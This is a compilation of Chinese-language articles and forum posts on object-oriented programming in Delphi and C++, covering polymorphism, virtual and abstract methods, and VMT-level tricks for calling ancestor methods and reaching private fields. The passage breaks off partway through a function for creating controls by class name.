过程编程很容易实现的功能，你必须按照类的思想来从新建立对象，但是一旦类库建立好后，使用类库和派生类，以及维护代码都是非常舒服的事情。使用类库的人并不都是具备了面向对象思想的人，通常知道如何继承和派生新对象就可以使用类库了，然而我们的思维并没有真正的转过来，使用类库只是在形式上是面向对象，而实质上只是库函数的一种扩展。这就是我理解的“c++ 是打着面向对象的幌子，干着过程编程的勾当”的第二重意思，实际上用 c++ 编程的人，大部分不自己创建类，而是使用类库，这样就造成了他们把类库作为一种高级的库函数库来理解，并没有真正理解面向对象的思想。

c++ 的面向对象的思想推广很慢，直到 mfc ,owl ，vcl 这样的类库出来以后，人们才渐渐的接受了一些面向对象的思想。为什么这条面向对象的道路那么难走？我的答案是“因为 c++ 给了我们第二条道路去走过程编程”，当然原因是为了考虑兼容 c 语言，然而正是由于有了第二条老路才使得使得我们不会再去考虑新的面向对象编程思维方式。

直到出现了 java ，才真正迎来了面向对象的曙光。java 真正是革命性的东西吗？不是，所有现有的 java 的思想都是继承自其他的语言和技术，没有什么革命的地方，虚拟机的概念早在 20 年前的 ucsd pascal 中就采用了，只是当时的机器速度太慢，虚拟机仿真造成的性能降低对于当时的硬件来说是相当严重的。java 本身的很多东西也借鉴了 c++ 语言，连它的创始人也说，java 是 "c++--" 也就是说 java 去除了 c++的一些不太好的地方。所以说 java 本质上没有什么革命的东西，所以那些对 java 的赞美之词都是 sun 公司的宣传伎俩。没有一种语言会长久的存在下去，你很难说你的孩子在二十年后还会继续使用 c++ 或 java，所以我们要抛开这些浮华词汇的背后，找寻真正我们需要学习的东西。否则今天我们大家都是微软的傀儡，明天 sun 公司起来了，我们就都是 sun 的傀儡。仔细研究美国电脑技术发展的历史，美国人一向喜欢象第三世界兜售他们的过时技术，而他们始终可以自豪的说，我们将永远领先你们第三世界国家二十年。我们始终在跟在美国人的后面学习他们的东西，这的确让人担忧。我说着说着又跑题了。java 虽然没有什么真正的革命性的东西，但是 java 在真正推动面向对象编程思想方面是功不可末的。使用 java 编程，你无需考虑到向后兼容什么语言的问题，它是重新建立的语言，你在掌握这门语言之前，你必须将自己的编程思想由过程编程彻底转向面向对象编程，因为 每个 java 程序，本身就是一个类，你编写任何java 程序，你都不自觉的在构造一个对象模板，没有第二条道路，只能是面向对象编程。（ 我非常喜欢 java 将所有类定义和类声明放在一个文件中，而不是象 c++ 那样，cpp 和 .h 文件是分开的。通常刚刚开始学习 java 的人不习惯，不过学习一段时间，你就会体会到它的好处了。）， 使用 java 编写程序（我更喜欢说---编写类，而不是程序）的时候，你会必须从一个对象的角度来考虑问题，因为你的程序就是一个类，你必须考虑把哪些东西作为成员变量，哪些作为方法，要生成几个类，哪些变量是成员变量，哪些是静态的变量和方法，等等。通常做完一个项目，你就已经将面向对象的思想运用其中了。之所以说 java 在面向对象的贯彻方面要比 c++ 彻底，就是因为你只能使用面向对象的方式来编写 java 程序，而 c++ 却可以采用另外一条非面向对象的方式来编写程序。java 并没有什么真正革命性的东西，它最大的贡献当然是推广面向对象的思想了。

java 总的来说是降低了继续过程编程的可能性，但是并没有完全消除它。面向对象是一种思想，是我们考虑事情的方法，通常表现为为我们是将问题的解决按照过程方式来解决呢，还是将问题抽象为一个对象来解决它。很多情况下，我们会不知不觉的按照过程方式来解决它，因为我们通常习惯于考虑解决问题的方法，而不是考虑将要解决问题抽象为对象去解决它。很多新的技术使我们更加趋向于过程而非对象的思想。最明显的就是 rad (快速应用程序开发）可视技术的出现，人们可以通过设置属性和编写事件函数来快速开发应用程序，编写事件函数就是典型的按照过程编程的思想（至少我是这么认为的），试问有多少人能区分vb 和 delphi ,c++ builder ，java 的事件函数编写有什么本质的区别， 后三者都采用了 delegation （委托模型），在 java 中是通过anonymous 类（无名类），或者 adapter 类来实现delegation，这是一种面向对象的构想，但是 vb 不是，所以这底层的区别都被上层的相似性所抹杀了，使用 jbuilder编程的时候，我们如果没有仔细研究 java 的 awt.event 编程方式的话，通常也是把它当作普普通通的“类 vb"的编写方式来写程序，而实际分析它在后台所生成的代码，你才能明白这些代码是真正的面向对象的，但是如果你只是简单的把它当作可视编程工具，你是永远不会明白什么是”委托模型“，什么是面向对象编程的。这是我理解的“c++ 是打着面向对象的幌子，干着过程编程的勾当”第三重意思。无论是 c++ 还是java 都有可能走过程编程的老路， java 降低的过程编写的可能性，但是如果你没有具备面向对象的编程思想，你还是可能走面向过程的老路的。


多态的问题

多态的问题

比方说有父类TANIMAL和子类TDOG，

变量申明：VAR MYANIMAL：TANIMAL；

赋值： MyAnimal:=TDog.create;

那么，对象MyAnimal所具有的属性方法是TANIMAL 还是 TDOG的

好象方法是TANIMAL的，那数据是哪个的？

abstract，virtual是为子类函数重载创造便利。

abstract只告诉编译器该处有个函数入口，但是没有函数体。

virtual则是既有入口，又有函数体的。用override子类同名函数就可以覆盖父类的函数。

大多event里都有个叫sender的参数，它是tobject类型。

由sender可以as成很多类，其实sender在这儿提供的就是一个指针。

as告诉编译器寻找相应的成员函数入口。所以只要是子类，都可以由父类指针获得。

所以你提的问题就象一个路牌指向某条街，no.1是父类，no.2，3，。。。都是子类，

由路牌可以找到no.1，加上相对位置可以继续找到no.2,3。。。。所以，

你非要说指针指向的是什么，那么我回答都可以（在同一父，子类中）。

声明成什么Delphi就认为它是什么。用TDog.create创建的Myanimal

实际上已经具有了TDog类的属性，但是Delphi仍认为它是你

声明的那个类的实例，也就是Tanimal的实例,这时你给Myanimal赋TDog特有的属性

值就会发生错误。而你通过强制类型转换TDog(Myanimal)，把Myanimal

转换为TDog类型后，就可以给TDog特有的属性赋值了。

yherxl：

我搞懂了，做了个试验。结果是：

1。变量申明成什么类型，他就具有那个类型的数据和方法。

2。使用父：=子，则父只是子的一个子集。为了让父有与子一样的表现，必须：

3。在父类中申明与子类相同的抽象虚拟方法，这样才能使用子类的方法

4。使用类型转换，才能使用子类的数据

不知有无差错，请各位大侠指正

ps：关了compiler的代码优化，在evaluate中观察某个表达式，仍然说‘expression inaccessable’

是何原因。谢谢


多态

作者：Nicrosoft（奈软 nicrosoft@sunistudio.com）

    个人主页：http://www.sunistudio.com/nicrosoft/

    东日文档：http://www.sunistudio.com/asp/sunidoc.asp

    多态性，这个面向对象编程领域的核心概念，本身的内容博大精深，要以一文说清楚实在是不太可

能。加之作者本人也还在不断学习中，水平有限。因此本文只能描一下多态的轮廓，使读者能够了解个大

概。如果有描的不准的地方，欢迎指出，或与作者探讨（作者Email：nicrosoft@sunistudio.com）

首先，什么是多态（Polymorphisn）？按字面的意思就是“多种形状”。我手头的书上没有找到一个

多态的理论性的概念的描述。暂且引用一下Charlie Calverts的对多态的描述吧--多态性是允许你将父

对象设置成为和一个或更多的他的子对象相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对

象的特性以不同的方式运作（摘自“Delphi4 编程技术内幕”）。简单的说，就是一句话：允许将子类类

型的指针赋值给父类类型的指针。多态性在Object Pascal和C++中都是通过虚函数（Virtual Function）

实现的。

好，接着是“虚函数”（或者是“虚方法”）。虚函数就是允许被其子类重新定义的成员函数。而子

类重新定义父类虚函数的做法，称为“覆盖”（override），或者称为“重写”。

    这里有一个初学者经常混淆的概念。覆盖（override）和重载（overload）。上面说了，覆盖是指子

类重新定义父类的虚函数的做法。而重载，是指允许存在多个同名函数，而这些函数的参数表不同（或许

参数个数不同，或许参数类型不同，或许两者都不同）。其实，重载的概念并不属于“面向对象编程”，

重载的实现是：编译器根据函数不同的参数表，对同名函数的名称做修饰，然后这些同名函数就成了不同

的函数（至少对于编译器来说是这样的）。如，有两个同名函数：function func(p:integer):integer;

和function func(p:string):integer;。那么编译器做过修饰后的函数名称可能是这样的：int_func、

str_func。对于这两个函数的调用，在编译器间就已经确定了，是静态的（记住：是静态）。也就是说，

它们的地址在编译期就绑定了（早绑定），因此，重载和多态无关！真正和多态相关的是“覆盖”。当子

类重新定义了父类的虚函数后，父类指针根据赋给它的不同的子类指针，动态（记住：是动态！）的调用

属于子类的该函数，这样的函数调用在编译期间是无法确定的（调用的子类的虚函数的地址无法给出）。

因此，这样的函数地址是在运行期绑定的（晚邦定）。结论就是：重载只是一种语言特性，与多态无关，

与面向对象也无关！

引用一句Bruce Eckel的话：“不要犯傻，如果它不是晚邦定，它就不是多态。”

那么，多态的作用是什么呢？我们知道，封装可以隐藏实现细节，使得代码模块化；继承可以扩展已

存在的代码模块（类）；它们的目的都是为了--代码重用。而多态则是为了实现另一个目的--接口重

用！而且现实往往是，要有效重用代码很难，而真正最具有价值的重用是接口重用，因为“接口是公司最

有价值的资源。设计接口比用一堆类来实现这个接口更费时间。而且接口需要耗费更昂贵的人力的时

间。”

其实，继承的为重用代码而存在的理由已经越来越薄弱，因为“组合”可以很好的取代继承的扩展现

有代码的功能，而且“组合”的表现更好（至少可以防止“类爆炸”）。因此笔者个人认为，继承的存在

很大程度上是作为“多态”的基础而非扩展现有代码的方式了。

什么是接口重用？我们举一个简单的例子，假设我们有一个描述飞机的基类（Object Pascal语言描

述，下同）：

    type

     plane = class

     public

         procedure fly(); virtual; abstract; //起飞纯虚函数

         procedure land(); virtual; abstract; //着陆纯虚函数

         function modal() : string; virtual; abstract; //查寻型号纯虚函数

     end;

然后，我们从plane派生出两个子类，直升机（copter）和喷气式飞机（jet）：

     copter = class(plane)

     private

         fModal : String;

     public

         constructor Create();

         destructor Destroy(); override;

         procedure fly(); override;

         procedure land(); override;

         function modal() : string; override;

     end;

     jet = class(plane)

     private

         fModal : String;

     public

         constructor Create();

         destructor Destroy(); override;

         procedure fly(); override;

         procedure land(); override;

         function modal() : string; override;

     end;

现在，我们要完成一个飞机控制系统，有一个全局的函数 plane_fly，它负责让传递给它的飞机起

飞，那么，只需要这样：

    procedure plane_fly(const pplane : plane);

    begin

     pplane.fly();

    end;

    就可以让所有传给它的飞机（plane的子类对象）正常起飞！不管是直升机还是喷气机，甚至是现在

还不存在的，以后会增加的飞碟。因为，每个子类都已经定义了自己的起飞方式。

可以看到 plane_fly函数接受参数的是 plane类对象引用，而实际传递给它的都是 plane的子类对

象，现在回想一下开头所描述的“多态”：多态性是允许你将父对象设置成为和一个或更多的他的子对象

相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对象的特性以不同的方式运作。

很显然，parent = child; 就是多态的实质！因为直升机“是一种”飞机，喷气机也“是一种”飞

机，因此，所有对飞机的操作，都可以对它们操作，此时，飞机类就作为一种接口。

多态的本质就是将子类类型的指针赋值给父类类型的指针（在OP中是引用），只要这样的赋值发生

了，多态也就产生了，因为实行了“向上映射”。

应用多态的例子非常普遍，在Delphi的VCL类库中，最典型的就是：TObject类有一个虚拟的Destroy

虚构函数和一个非虚拟的Free函数。Free函数中是调用Destroy的。因此，当我们对任何对象（都是

TObject的子类对象）调用 .Free();之后，都会执行 TObject.Free();，它会调用我们所使用的对象的析

构函数 Destroy();。这就保证了任何类型的对象都可以正确地被析构。

    多态性作为面向对象最重要的特性，本文所提不过是沧海一粟，还有很多内容。如果可能，希望会有

后文继续探讨多态。


三谈多态--善用virtual

三谈多态--善用virtual

作者：Nicrosoft(nicrosoft@sunistudio.com) 2002.4.30

个人主页：http://www.sunistudio.com/nicrosoft/

东日软件开发网络：

http://www.ssdn.net

http://www.sunistudio.com/ssdn/

    多态性，是一种能给程序带来灵活性的东西。看过《设计模式》的程序员应该都知道，相当多的模式（几乎所有）都是依靠多态来实现的，以此给程序提供可扩展、可重用性。在《再谈多态--向上映射及VMT／DMT》一文中，提到了多态性是依赖于虚函数／虚方法（即动态绑定）来实现的，也介绍了虚函数／虚方法（virtual）的实现方法。那么本文就来谈一下，如何使用virtual、善用virtual来获取多态性给我们带来的灵活性。

    实例是最好的教材，因此本文还是假设一个需求，写一个实例来讲解。不过，我想没有必要给出所有源码，因此在本文中有些实现的代码会粗略带过。另外，本文所有代码均为Object Pascal语言编写，实现环境为Delphi。

    另外，由于“方法（Method）”一词已经成为Object Pascal的术语，因此，以下称成员函数都为“方法”。也许C++程序员会不太适应这样的称呼（呵呵，我自己也不太适应），见谅吧。

    假设我们要编写一个纯文本内的编辑器，也就是记事本（呵呵，别嫌例子老套，记事本程序在相当多方面都是很好的教材），编辑控件我们一般会用TMemo或TRichEdit，但是它们的功能都不甚强大，也许我们目前没有，但日后会找到一个更好的第三方文本编辑控件（比如，支持语法着色的）。因此，我们必须为未来的改进留下方便之门，否则到时候再重写全部程序真是太傻了。

    界面层（菜单响应、状态显示等）对文本编辑器控件的控制的代码对于所有编辑器来说都是类似的，应该可以被重用。那么就必须将界面层的代码与编辑器控件的控制代码隔离开来。

    如何隔离？我们可以为所有的编辑器控件指定一个公共的接口（抽象类），界面层只看得到这个接口，只使用接口提供的功能，那么，我们更换任何编辑器控件时，都不必更改界面层的代码了。

    首先，抽象出编辑器的基本操作，如：Load（打开文本）、Save（保存到文件）、Copy（复制到剪贴板）等等，将这些操作作为public方法。其次，考虑这些操作中有哪些会涉及到具体相关控件的，对于这些操作，你有两种选择：1、如果完全依赖控件本身的，可以选择将其定义为虚方法或抽象虚方法（即C++中的纯虚函数）；2、如果只是有部分代码依赖控件本身的，将这部分操作抽象到一个protected的抽象虚方法中，而将相同的部分代码写在基类中，并由基类的方法中调用protected的抽象虚方法。

    如果还没有完全明白，请看代码：

TEditor = class // 抽象基类

    private

     m_FileName : String;

    protected

     function DoLoad(FileName : String) : Boolean; virtual; abstract;

public

function Load(FileName : String) : Boolean;

function Save() : Boolean;

function SaveAs(FileName : String) : Boolean; virtual; abstract;

     // ... 其他需要的操作，由需求而定

end;

    好，我们来详细说明一下TEditor为什么是这个样子的。其有一个私有成员，保存编辑器所对应的文件名。然后看public部分，它至少提供了三个操作：Load--从某文件中读取文本到编辑器；Save--将文本保存到文件，文件名为m_FileName所保存的；SaveAs--以指定的一个文件名保存文本。

    三个操作中，SaveAs为抽象虚方法，因为它的实际动作与每个编辑控件相关，而基类本身并不知道该如何保存文件。

    Save和Load都是非虚方法，其中Save的任务很简单，就是将文本以m_FileName所保存的文件名保存，其实现可以是调用抽象的SaveAs，只需要将文件名传给SaveAs即可。基类完全可以确定如何完成Save（因为它可以保证派生类实现了SaveAs），因此其为非虚方法。

    而Load呢？Load操作的步骤是：1、将文本从文件中读取到编辑器控件中；2、将m_FileName的值设置为所读取的文件名。其中第一个步骤与具体编辑器控件相关，应该是由派生类去实现它，第二个步骤派生类无法实现，因为派生类看不到私有的m_FileName成员。但即使把m_FileName移到protected节中，以使派生类可以访问它，也并非好办法，因为这样的话，在实现每个派生类时，都要记住设置m_FileName的值，这不仅造成代码重复（每个派生类都要这样做），而且这不应该是派生类的义务。因为m_FileName应该是基类的内部实现，对外不可见。因此，第二个步骤应该由基类来完成。如何达成这个目的呢？

    我们可以注意到，protected节中有一个DoLoad方法，它就被用来完成第一个步骤--每个编辑器控件去将文本读入编辑器。然后，DoLoad由Load方法中被选择在适当的时机调用。

基类的实现如下：

function TEditor.Load(FileName : String) : Boolean;

    begin

     Result := DoLoad(FileName);

     if Result then

     m_FileName := FileName;

end;

function TEditor.Save() : Boolean;

    begin

     SaveAs(m_FileName); // 调用抽象的 SaveAs

end;

    接着，我们使用TMemo来实现一个编辑器类：

    TMemoEditor = class(TEditor)

    private

     m_Editor : TMemo;

    protected

     function DoLoad(FileName : String) : Boolean; override;

public

     constructor Create();

     destrcutor Destroy(); override;

     function SaveAs(FileName : String) : Boolean; override;

     // ...其它需要的操作

    end;

    在该派生类中，有一个私有成员，即TMemo控件的实例。然后覆盖（override）了基类的两个抽象虚方法：DoLoad和Save。

    其实现如下：

    function TMemoEditor.Create();

    begin

     // 创建TMemo实例

m_Editor := TMemo.Create(nil);

// 接着完成将TMemo实例置于界面上显示出来等操作，省略

end;

    function TMemoEditor.Destroy();

    begin

     // 其他清理工作

     m_Editor.Free();

     m_Editor := nil;

    end;

    function TMemoEditor.DoLoad(FileName : String) : Boolean;

    begin

Result := false;

try

     m_Editor.LoadFromFile(FileName);

   except end;

     Result := true;

    end;

    function TMemoEditor.SaveAs(FileName : String) : Boolean;

    begin

     Result := false;

     try

     m_Editor.SaveToFile(FileName);

     except end;

     Result := true;

end;

    很好，这样的实现已经可以使个部分运作正常了。如果，今后找到更好的编辑器控件，只需要从TEditor派生，再实现一个TXXXEditor类即可，其他部分的代码不用作任何改动。而且，具体实现的TXXXEditor类中的代码，只和具体控件本身特性相关（如：读取、保存文件的方法），而公共逻辑也已经在TEditor类中实现了。

    virtual的使用方法，基于笔者个人认识与经验：

    1、如果基类不知道如何实现某方法（只有派生类知道），而基类的其他方法又必须使用该方法，则把该方法声明为抽象虚方法-- virtual; abstract;（即C++的纯虚函数）。

    2、如果基类能够为某方法提供一种默认实现，但派生类可能完全重写这个实现，则将该方法声明为虚方法-- virtual;并实现默认算法。

    3、如果基类能够且必须提供某方法的部分的实现，而派生类必须提供另一部份的实现，则将该方法声明为非虚方法，并在基类中为其配套提供一个虚方法或抽象虚方法，以允许由基类本身调用和被派生类覆盖。犹如上例中的Load与DoLoad。

    善用virtual，善用多态，你的代码将更具灵活性！


Virtual的使用

Nicrosoft:

1、如果基类不知道如何实现某方法（只有派生类知道），而基类的其他方法又必须使用该方法，则把该方法声明为抽象虚方法-- virtual; abstract;（即C++的纯虚函数）。

    2、如果基类能够为某方法提供一种默认实现，但派生类可能完全重写这个实现，则将该方法声明为虚方法-- virtual;并实现默认算法。

    3、如果基类能够且必须提供某方法的部分的实现，而派生类必须提供另一部份的实现，则将该方法声明为非虚方法，并在基类中为其配套提供一个虚方法或抽象虚方法，以允许由基类本身调用和被派生类覆盖。


重名成员的访问

重名成员的访问

我们知道，在C++中，访问父类的同名的成员很容易，只要使用a.Parent::b这样的代码就可以了。例如

class TA

{

public

char *Text;

}

class TB:public TA

{

public

char *Text;

}

TB:b;

那么要访问父类的Text，可以这样即可：b.TA::Text，而在Delphi中，如何来访问父类的成员呢？答案是类型强制！

TA=class

public

Text:string;

end;

TB=class(TA)

public

Text:string;

end;

var

b:TB;

...

TA(b).Text:='Text TA'; ///访问父类的成员

完整的测试代码如下：

program Project1;

{$APPTYPE CONSOLE}

uses SysUtils;

type

TA=class

public

FName:string;

end;

TB=Class(TA)

public

FName:string;

end;

var

b:TB;

begin

// Insert user code here

b:=TB.Create;

b.FName :='abc';

TA(B).FName :='def';

writeln('TB.Name=',b.FName,' TB.TA.Name=',TA(b).FName);

readln;

end.

---------------------------------------------------------------------------------------------------------------------

类的继承---跨过中间类，继承祖先的方法

有3个类 A，B，C，继承关系 A-->B-->C，

A中有一个虚拟对象方法 Fun、B、C分别重载这个方法，

现在C要继承 A.Fun 而不是 B.Fun.

如何才能做到？

type

A = class

public

procedure Fun; virtual;

end;

B = class(A)

public

procedure Fun; override;

end;

C = class(B)

public

procedure Fun; override;

end;

implementation

procedure A.Fun;

begin

ShowMessage('A');

end;

procedure B.Fun;

begin

ShowMessage('B');

end;

procedure C.Fun;

begin

//在这里调用A中的Fun，怎么可以做到？？？

//这样试过:

//1 (Self as A).Fun 可以编译通过，但结果不对。

//2 A(Self).Fun; 可以编译通过，但结果不对。

end;

回复人： findcsdn(findcsdn) ( ) 信誉：106 2002-11-22 10:49:30 得分:12

//这样写就可以了。

procedure C.Fun;

var

tmp: pointer;

begin

tmp := A;

asm

mov eax, self

mov edx, [tmp]

call dword ptr[edx + VMTOFFSET a.fun]

end;

end;

回复人： xzgyb(老达摩) ( ) 信誉：110 2002-11-22 10:57:51 得分:0

louislingjjw(云 意) :

asm

call TA.Fun

end;

就是调用直接调用TA.Fun

直接写这条指令就会直接跑到TA.Fun处执行

如果

TA.Fun里有对成员的操作出错是因为这时EAX为零

TA.Fun对数据成员的操作是根据self的偏移量执行的，在这里这个self

也就是EAX

改成这样

procedure TC.Fun(s: string);

begin

asm

push eax

mov eax, self

call TA.Fun

pop eax

end;

end;

可以出来你要的那个效果，主要是存一下EAX值

刚学了点汇编，瞎写的，也不知对不对，有没有什么别的副作用

回复人： xzgyb(老达摩) ( ) 信誉：110 2002-11-22 15:14:59 得分:0

摩托兄:

呵呵，我只是瞎试的，不知道对不对

而且跟FindCsdn学了一招

VMTOFFSET和DMTINDEX指令

VMTOFFSET返回虚方法在虚表中的偏移量

DMTINDEX返回动态方法的Index值

而且帮助中的那个例子也挺有意思

program Project2;

type

TExample = class

procedure DynamicMethod; dynamic;

procedure VirtualMethod; virtual;

end;

procedure TExample.DynamicMethod;

begin

end;

procedure TExample.VirtualMethod;

begin

end;

procedure CallDynamicMethod(e: TExample);

asm

// Save ESI register

PUSH ESI

// Instance pointer needs to be in EAX

MOV EAX, e

// DMT entry index needs to be in (E)SI

MOV ESI, DMTINDEX TExample.DynamicMethod

// Now call the method

CALL System.@CallDynaInst

// Restore ESI register

POP ESI

end;

procedure CallVirtualMethod(e: TExample);

asm

// Instance pointer needs to be in EAX

MOV EAX, e

// Retrieve VMT table entry

MOV EDX, [EAX]

// Now call the method at offset VMTOFFSET

CALL DWORD PTR [EDX + VMTOFFSET TExample.VirtualMethod]

end;

var

e: TExample;

begin

e := TExample.Create;

try

CallDynamicMethod(e);

CallVirtualMethod(e);

finally

e.Free;

end;

end.

goodloop:

就是这样

如

TTest = class

private

FTest: Integer;

FTest1: Integer;

public

constructor Create;

procedure ShowTest;

end;

...

implementation

constructor TTest.Create;

begin

FTest := 20;

FTest1 := 30;

end;

procedure TTest.ShowTest;

begin

ShowMessage(IntToStr(FTest));

ShowMessage(IntToStr(FTest1));

end;

procedure TMainForm.Button2Click(Sender: TObject);

var

a: TTest;

begin

a := TTest.Create;

a.ShowTest;

a.Free;

end;

对于 a := TTest.Create;汇编如下

mov dl, $01

mov eax, [$0046afbc]

call TTest.Create

mov ebx, eax //ebx保存了实例的引用值

a.ShowTest 如下

mov eax, ebx

call TTest.ShowTest

因为object pascal函数的调用默认是Fastcall 的，也就是参数先传到EAX,EDX,ECX,剩下的在压栈，而在类的函数里用的self值其实是隐藏的传过来

的第一个参数，也就是EAX里的值

在看一下TTest.ShowTest

...

mov ebx,eax

...

//对应于ShowMessage(IntToStr(FTest))

lea eax, [ebp-$04] //这是一个临时的字符串变量

mov edx, [ebx+$04]

call IntToStr

//[ebx+$04]即为FTest的值,[ebx]为vptr, [ebx+$08]为FTest1, 所以是访问类里的数据成员是通过相对于self的值的偏移量来访问

这些可以打开cpu窗口来察看

回复人： louislingjjw(云 意) ( ) 信誉：100 2002-11-28 9:06:01 得分:0

谢谢各位的热心帮助！

这个问题几天前已经解决了，方法有四种，其中有些原理是一样的。

方法一：(指针)

1)

procedure C.Fun;

var

P: Pointer;

begin

P := Pointer(ClassParent.ClassParent);

//获得祖先类虚拟方法表入口地址;

if Integer(P) <> 0 then

A(Integer(P) - 76).Fun;

//取得self指针，强制类型转换.

end;

2)

只要知道Self指针就指向了虚拟方法表的入口, Self指针负的偏移量是

一些类方法和RTTI信息的地址就行了

procedure TC.fun(X: string; Y: Integer; Z: TDateTime);

var

p: pointer;

begin

p := Pointer(classparent.ClassParent);

//获得祖父类虚拟方法表入口地址;

if integer(p) <> 0 then

ta(@p).Fun(x,y,z);

//取得self指针，强制类型转换.

end;

方法二：(汇编)

1) 没有参数时

procedure TC.Fun;

begin

asm

call TA.Fun; //直接跑到TA.Fun处执行

end;

end;

2) 有参数时，主要是存一下 EAX 值

如果 TA.Fun 里有对成员的操作出错是因为这时 EAX 为零

TA.Fun对数据成员的操作是根据 self 的偏移量执行的，

在这里这个 self 也就是EAX改成这样

procedure TC.Fun(s: string);

begin

asm

push eax

mov eax, self

call TA.Fun

pop eax

end;

end;

3)

procedure C.Fun;

var

tmp: pointer;

begin

tmp := A;

asm

mov eax, self

mov edx, [tmp]

call dword ptr[edx + VMTOFFSET a.fun]

end;

end;

说明：

寄存器的用法：

对于一般的 procedure ,function：

在入口：

eax： 保存 procedure or function 的第一个参数值（如果存在的话）

edx： 保存 procedure or function 的第二个参数值

ecx： 保存 procedure or function 的第三个参数值

ebx： 保存 procedure or function 的地址

在出口：

eax： 对于function是保存结果；对于procedure一般是保存相关的自定义错误代码

ebx： 仍是保存procedure or function的地址

对于对象的方法：

在入口：

eax 保存parent对象的地址

ebx 保存 procedure or function 的地址

ecx 保存第二个参数值

edx 保存第一个参数值

在出口：

eax： 对于function是保存结果；对于procedure一般是保存相关的自定义错误代码

ebx： 仍是保存procedure or function的地址

方法三：(参考类)

1.

A,B两个类与C在不同的单元内，那么C中Fun不要override，因为A,B中的Fun是在Public或

Protected中，所以C的Fun中也可以用Inherited Fun，即在C中调用父类（即B）中的Fun。

如果要跨过B直接调用A中的Fun，我们一般定义一个参考类，如：

TARef＝class(A)

public

procedure Fun;

end;

...

procedure TARef.Fun;

begin

Inherited Fun;

end;

procedure TC.Fun;

begin

TARef(Self).Fun

end;

2.

更多的情况，我们只是为了要在C中改变A中的私有变量，即改变不在同一单元中类的私有

变量。解决这个问题，我们也是定义一个参考类。假设A类如下：

A=class

private

X:Integer;

Y:string;

....

end;

参考类则：

TARef=class //这里老子不是A，而是A的老子

private

X:Integer;

Y:string;

...

end;

其实就是将A的定义搬过来，只是改了类名（注意只要私有域，不要私有方法）。

这样在C的Fun中（或其它需要的地方）可以：

TARef(Self).X:=123;

TARef(Self).Y:='123';

不过，这种方法有一个问题就是：一旦A的定义改了，我们的源程序也得改。这也是

每次Delphi升级时我们的程序必须检查的地方。

所谓定义参考类和指针操作private变量是一个原理。

定义的参考类其实就是为了确定你所关心的变量相对于实例入口的偏移。

和指针操作的唯一区别就是参考类方法是由编译器帮你决定访问的指针偏移量，

我的方法是由你自己计算这个指针偏移量而已。

比如要在TC中访问TA.FNum3的话：

TA = class(Tobject)

private

FNum1: string;

FNum2: Integer;

FNum3: Float;

FNum4: DateTime;

FNum5: string;

FNum6: string;

public

function temp1(X: string;): string; virtual;

procedure temp2(X: Integer; Y: TDateTime): string; virtual;

procedure fun(X: string; Y: Integer; Z: TDateTime);virtual;

end;

TB = class(TA)

private

FNote1: string;

FNote2: TDateTime;

FNote3: Integer;

protected

X1: Integer;

public

function temp3(S: string): string; virtual;

procedure temp4(I: Integer): string; virtual;

procedure fun(X: string; Y: Integer; Z: TDateTime);override;

end;

TC = class(TB)

private

FNote4: string;

FNote5: TDateTime;

FNote6: Integer;

protected

X2: string;

public

function temp5(S: string): string;

procedure temp6(S: string); string;

procedure fun(X: string; Y: Integer; Z: TDateTime);override;

end;

指针：

type

TRefRecord=record // TB里我们所要跳过的私有变量

FNum1: string;

FNum2: Integer;

FNum3: Float;

end;

PRefRecord=^TRefRecord;

var

pt: PRefRecord;

c: TC;

...

pt := Pointer(Integer(c)+TObject.InstanceSize);

pt^.FNum3 := 5.5;

参考类：

TRef = class

private

FNum1: string;

FNum2: Integer;

FNum3: Float;

end;

var

c: TC;

...

TRef(c).FNum3 := 5.5

这两种方法操作的都是TA.FNum3这个私有变量

同理： 要访问TB.FNote2的话

指针：

type

TRefRecord=record

FNote1: string;

FNote2: TDateTime;

end;

var

pt: ^TRefRecord;

c: TC;

pt := pointer(integer(c)+TA.InstanceSize);

pt^.FNote2 := now;

参考类：

TRef = class(TA)

private

FNote1: string;

FNote2: TDateTime;

end;

var

c: TC;

TRef(c).FNote2 := now;

方法四：(汇编+指针)

TCallFun = procedure (X: string; Y: Integer; Z: TDateTime) of object;

procedure TC.fun(X: string; Y: Integer; Z: TDateTime);

var

m: TMethod;

voffset: Integer;

begin

asm

mov voffset, VMTOFFSET TA.fun

end;

m.Code := Pointer(Pointer((Integer(Classparent.ClassParent) + voffset))^);

m.Data := self;

TCallFun(m)(X, Y, Z);

end;

注：修改父类的指针变量

//修改父类的私有变量

procedure TC.Fun(S: string);

var

P: PString;

begin

P := Pointer(Integer(Self) + TObject.InstanceSize); // p 现在指向TA.FNode

P^ := 'A' + S;

ShowMessage(P^);

end;

//说明

这个self指的是TC的实例所在的地址，在那里数据是这样排列的：

TC.VMT入口地址

TObject所有的Private,protected,public变量

TA所有private,protected,public变量

TB所有private,protected,public变量

TC所有private,protected,public变量

...(是否还有其他的就不知道了)

这样的话要获得TA某个private变量的地址只要跳过它前面的所有变量的偏移量即可。

Integer(self)-> 入口地址 + TObject.InstanceSize-->跳过所有TObject的变量和VMT

这时指针已经指向TA第一个private变量了。这里恰好正是我们关心的FNode

接下来对这个指针所在的数据进行操作所修改的就是TA的Private变量值了。


运行的时候，创建任意的对象？

我希望在运行的时候，创建任意的对象，例如：TButton,TLabel,TImage等等......怎么办？

请参考下面的代码：

Russar <russar@wp.pl>提问

uses typinfo;

const

Buffer:array[0..3] of TComponentClass=(TBitBtn,TLabel,TButton,TSpeedButton);

procedure CreateObjectInstance(AClass:TComponentClass;Var Ref;AOwner:TComponent);

begin

TComponent(Ref):=TComponent(AClass.NewInstance);

try

TComponent(Ref).Create(AOwner);

except

TObject(Ref):= nil;

Raise;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

Obj:TComponent;

i:integer;

begin

for i:=Low(Buffer) to High(Buffer) do

begin

CreateObjectInstance(Buffer[i],Obj,Self);

TControl(Obj).Parent := Self;

SetPropValue(Obj,'Top',i*30);

SetPropValue(Obj,'Caption','Test');

end;

end;


如何根据名字来动态创建对象？

回答一个鬼佬的提问写的代码。

我希望根据一个字符串，来创建该类的对象，例如我给定'TButton'，那么能在运行的时候，动态创建Button出来？不要告诉我用if来判断或者用case来判断等等~，那样的话，有几百个控件的话，岂不是晕倒？

请参考下面的代码，下面的代码演示了三种控件的动态创建，若需要动态创建其他的，请修改那个数组常量即可：

function DynCreateControlByName(AClassName: string; AOwner: TWinControl = nil): TControl;

const

/// You can add any class if you want!

ControlClass : array[0..2] of TPersistentClass = (TButton, TEdit, TLabel);

var

Cls : TControlClass;

begin

Result := nil;

RegisterClasses(ControlClass);

Cls := TControlClass(GetClass(AClassName));

